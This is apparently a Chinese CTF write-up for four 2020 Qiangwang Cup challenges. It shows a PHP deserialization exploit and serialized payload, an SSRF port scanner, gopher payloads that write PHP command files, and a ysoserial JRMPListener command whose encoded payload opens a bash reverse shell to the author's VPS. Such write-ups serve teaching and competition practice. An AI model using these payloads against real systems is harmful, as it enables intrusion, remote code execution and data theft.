2020强网杯部分题目writeup

前言

0x01 half_infiltration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
highlight_file(__FILE__);

$flag=file_get_contents('ssrf.php');

class Pass
{
function read()
{
ob_start();
global $result;
print $result;
}
}

class User
{
public $age,$sex,$num;

function __destruct()
{
$student = $this->age;
$boy = $this->sex;
$a = $this->num;
$student->$boy();
if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
{
ob_end_clean();
exit();
}
global $$a;
$result=$GLOBALS['flag'];
ob_end_clean();
}
}

if (isset($_GET['x'])) {
unserialize($_GET['x'])->get_it();
}

第一层是一道反序列化题目,添加了限制,首先调用了$student->$boy();,然后再将flag赋给全局变量$result,如果在赋flag值之前,就调用Pass类的read()方法是读不到flag的,所以需要首先进行一遍完整的User__destruct()函数,将flag赋给$result,然后再执行一遍__destruct(),继续调用$student->$boy();来触发Pass类的read()函数,读取flag;接下来再读flag时发现在ob_start()ob_end_clean()之间的print是输出不到屏幕的,这里有两种方法可以绕过:

  1. ob_end_clean()执行前寻找一条触发到执行到exit()的链。
  2. ob_end_clean()前报错,直接停止执行。

本题选择第二种,在print $resultob_end_clean()之间只有只有is_string()和global 两条语句,通过测试发现

1
2
3
4
5
6
7
8
9
10
11
<?php
class va {
public function a() {
$a = "this";
global $$a;
}
}
$b = new va();
$b->a();
?>
//执行会报错

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class Pass {

function read() {
ob_start();
global $result;
print $result;
}
}

class User {
public $age, $sex, $num;

function __destruct() {
$student = $this->age;
$boy = $this->sex;
$a = $this->num;
$student->$boy();
if (!(is_string($a)) || !(is_string($boy)) || !(is_object($student))) {
ob_end_clean();
exit();
}
global $$a;
$result = $GLOBALS['flag'];
ob_end_clean();
}
}
$a = new Pass();

$b2 = new User();
$b2->sex = "read";
$b2->num = "this";
$b2->age = $a;

$d = new Exception;
$b = new User();
$b->sex = "getCode";
$b->num = "result";
$b->aa = $b2;
$b->age = $d;

echo urlencode(serialize($b));
//O%3A4%3A%22User%22%3A4%3A%7Bs%3A3%3A%22age%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A41%3A%22D%3A%5C%E6%AF%94%E8%B5%9B202006%5C%E5%BC%BA%E7%BD%91%E6%9D%AF%5Cban+pen%5Cexp.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A37%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7Ds%3A3%3A%22sex%22%3Bs%3A7%3A%22getCode%22%3Bs%3A3%3A%22num%22%3Bs%3A6%3A%22result%22%3Bs%3A2%3A%22aa%22%3BO%3A4%3A%22User%22%3A3%3A%7Bs%3A3%3A%22age%22%3BO%3A4%3A%22Pass%22%3A0%3A%7B%7Ds%3A3%3A%22sex%22%3Bs%3A4%3A%22read%22%3Bs%3A3%3A%22num%22%3Bs%3A4%3A%22this%22%3B%7D%7D

得到ssrf.php

image-20200824111939809

第二层利用ssrf.php探测内网,

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import threading

url = "http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://172.26.98.147:"

for i in range(35000,50000):
url = "http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://172.26.98.147:"
url+=str(i)
re=requests.get(url)
print url
if "HTTP" in re.text:
print url
break

得到在40000端口开了服务,

image-20200824112617077

是一个评论框,可以传file和content两个参数,在http://127.0.0.1:40000/uploads/可以看到文件夹,文件夹的名对应phpsessid值,利用gopher协议ssrf可以在uploads目录写文件。

比赛时直接用

1
gopher://172.26.98.147:40000/_POST%20/%20HTTP/index.php1.1%250d%250aHost:127.0.0.1:40000%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aCookie:%20PHPSESSID=o151hrta2onlamvpvsq9695785;%250d%250aContent-Length:%2083%250d%250a%250d%250afile=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3Da.php%26content=PD89cGhwaW5mbygpOyAg

就可以得到phpinfo,但是后来复现时,就不可以了,感觉题目被改了。23333

之后修改content,绕过过滤得到flag。

1
gopher://172.26.98.147:40000/_POST%20/%20HTTP/index.php1.1%250d%250aHost:127.0.0.1:40000%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aCookie:%20PHPSESSID=o151hrta2onlamvpvsq9695785;%250d%250aContent-Length:%2087%250d%250a%250d%250afile=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3Db.php%26content=MjM8Pz1gY2F0IC9mbGFnYDsg
image-20200824141727459

content-length:长度直接本地开一个一摸一样的服务,看下长度即可,

image-20200824141850604

成功写入文件,得到flag,

image-20200824141758218

尝试读取源码:

1
23<?=`cat  ../../in*ex.***`;
image-20200824142827863

下面是做题时读取的服务器文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//index.php
<?php
#ini_set('display_errors', 'on');

session_start();
include 'del.php';
$upload_dir = sprintf("./uploads/%s/", session_id());
$id = session_id();
@mkdir($upload_dir, 0755, true);

chdir($upload_dir);
ini_set('open_basedir', '.');
foreach (glob(getcwd() . '/*') as $file) {
if (is_file($file)) {
unlink($file);
} else {
if (time() - filemtime($file) >= 5) {
Delete($file);
}
}

}

$data = "";
$filename = "";

if (isset($_POST['file'])) {
$filename = $_POST['file'];
if (stripos($filename, 'BE') === false && stripos($filename, 'write') === false && stripos($filename, 'zlib') === false && stripos($filename, 'sto') === false) {
if (isset($_POST['content'])) {
$data = $_POST['content'];

if (stripos($data, 'ph') === false && stripos($data, 'Pz4=') === false && stripos($data, '<?') === false && stripos($data, 'PD9wa') === false && stripos($data, 'script') === false && stripos($data, '=') === false) {
file_put_contents($filename, $data);
}

}
} else {
die("error");
}

}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//del.php
<?php

function Delete($path) {
if (is_dir($path) === true) {
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::CHILD_FIRST);

foreach ($files as $file) {
if (in_array($file->getBasename(), array('.', '..')) !== true) {
if ($file->isDir() === true) {
rmdir($file->getPathName());
} else if (($file->isFile() === true) || ($file->isLink() === true)) {
unlink($file->getPathname());
}
}
}
return rmdir($path);
} else if ((is_file($path) === true) || (is_link($path) === true)) {
return unlink($path);
}
return false;
}

下面是复现时读的服务器文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//index.php
<?php
#ini_set('display_errors', 'on');

session_start();
include('del.php');
$upload_dir = sprintf("./uploads/%s/", session_id());
$id=session_id();
@mkdir($upload_dir, 0755, true);

chdir($upload_dir);
ini_set('open_basedir', '.');
foreach (glob(getcwd().'/*') as $file) {
if (is_file($file)) {
unlink($file);
}

else {
if (time() - filemtime($file) >= 200) {
Delete($file);
}
}

}

$data = "";
$filename = "";

if (isset($_POST['file']) ) {
$filename = $_POST['file'];
if(stripos($filename, '..') === false &&stripos($filename, 'BE') === false&&stripos($filename, 'write') === false&&stripos($filename, 'zlib') === false&&stripos($filename, 'sto') === false){
if (isset($_POST['content'])) {
$data = $_POST['content'];

if (stripos($data, '`') === false &&stripos($data, 'll') === false &&stripos($data, 'PD8') === false &&stripos($data, '-') === false&&stripos($data, 'ww') === false && stripos($data, '6') === false&&stripos($data, '7') === false&&stripos($data, 'rm') === false && stripos($data, 'mr') === false &&stripos($data, 'sy') === false &&stripos($data, 'ys') === false &&stripos($data, 'ph') === false&&stripos($data, 'Pz4=') === false && stripos($data, '<?') === false && stripos($data, 'PD9wa') === false && stripos($data, 'script') === false&&stripos($data, '=') === false) {
file_put_contents($filename, $data);
}

}
}
else
{
die("error");
}

}
?>

对比发现在file处加了..的过滤,在content中加了

1
2
3
4
5
6
7
8
9
10
11
stripos($data, '`')  === false 		&&
stripos($data, 'll') === false &&
stripos($data, 'PD8') === false &&
stripos($data, '-') === false &&
stripos($data, 'ww') === false &&
stripos($data, '6') === false &&
stripos($data, '7') === false &&
stripos($data, 'rm') === false &&
stripos($data, 'mr') === false &&
stripos($data, 'sy') === false &&
stripos($data, 'ys') === false

上面这些过滤。

0x02 dice2cry

题目泄露了源码,abi.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
session_start();
header("Content-type:text/html;charset=utf-8");

$data = json_decode($json_string, true);

$rand_number = isset($_POST['this_is.able']) ? $_POST['this_is.able'] : mt_rand();
$n = gmp_init($data['n']);
$d = gmp_init($data['d']);
$c = gmp_init($rand_number);
$m = gmp_powm($c,$d,$n);
$v3 = gmp_init('3');
$r = gmp_mod($m,$v3);
$result=(int)gmp_strval($r);
$dice = array("num"=>$result);
$json_obj = json_encode($dice);
echo $json_obj;
?>

这里涉及到一个trick,因为php变量的原因,如果POST或GET传的参数包含'.' '[' '+' ' '会转换成_

如何滥用PHP字符串解析函数绕过IDS、IPS及WAF

this[is.able向服务器传值,服务器就可以将值赋给$_POST['this_is.able'],然后接下来就是密码学了,可以在cookie中发现给了N 、d和加密的flag,我们可以向服务器发送任意密文,服务器返回对应密文解密的结果模3的值,之前的RSA LSB ORACLE攻击是利用模2来二分最终得到m的值,本题用的是模3,

0x03 easy_java

题目给了源码,

高校战“疫”网络安全分享赛部分赛题复现

image-20200823215753040

放到idea可以运行,本地采用jdk8u102版本可以成功,但使用jdk8u261不能成功。

由于题目利用黑名单过滤了很多,所以尝试利用JRMPClient绕过过滤,参考高校战役的baby_java的JRMPListener解法,利用JRMPListener。

过程如下:

在客户端执行

1
2
java -jar ysoserial-master-30099844c6-1.jar JRMPClient 129.204.207.xxx:8888 > jrmpclient.cer
windows系统这条命令只能在cmd下运行,在powershell运行会乱码,原因未知

image-20200903152937979

在vps上执行

1
java -cp ysoserial-master-30099844c6-1.jar  ysoserial.exploit.JRMPListener  8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkxxxxxxxxMTQvOTxxxxYxCg==}|{base64,-d}|{bash,-i}"

同时在vps上监听50000端口(与上面的payload相对应)

然后访问/jdk_der路由

1
2
3
4
import requests
payload = open("aa","rb").read()
proxies = {"http":"127.0.0.1:8080"}
requests.post("http://39.101.166.142:8080/jdk_der",data=payload)

也可以用burp发包

这时就可以反弹shell了。

image-20200824095918455

1
flag{056eaalfe7scd222qwe2df36845b8ed170c67e23e3}

0x04 红方辅助

用wireshark打开

image-20200830171012619

复制到a.txt。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import struct
f = open("a.txt", "r")

f = f.readlines()
for i in range(0,2075,5):
#print(f[i])
funcs = {
"0" : lambda x, y : x + y,
"1" : lambda x, y : x - y,
"2" : lambda x, y : x ^ y
}
offset = {
"0" : 0xefffff,
"1" : 0xefffff,
"2" : 0xffffff,
}
#print(i)
btime = str(f[i+1])
fn = chr(int(f[i+3][16:18],16))
salt = int(f[i+3][18:20],16)
ci = f[i+3][20:]
#print(ci)
t = struct.unpack("<i", bytes().fromhex(btime))[0]
boffset = offset[fn]
t -= boffset
t = struct.pack("<i", t)
k =0
m = ""
for j in range(0,244,2):
c = ci[j:j+2]
j = j+2
#print(c)
if funcs[fn](int(c,16) , salt) % 256 ^ t[k] == 10:
break
#print((funcs[fn](int(c,16) , salt)^ t[k]))
m += chr(funcs[fn](int(c,16) , salt) % 256 ^ t[k])

k = (k+1)%4
print(m)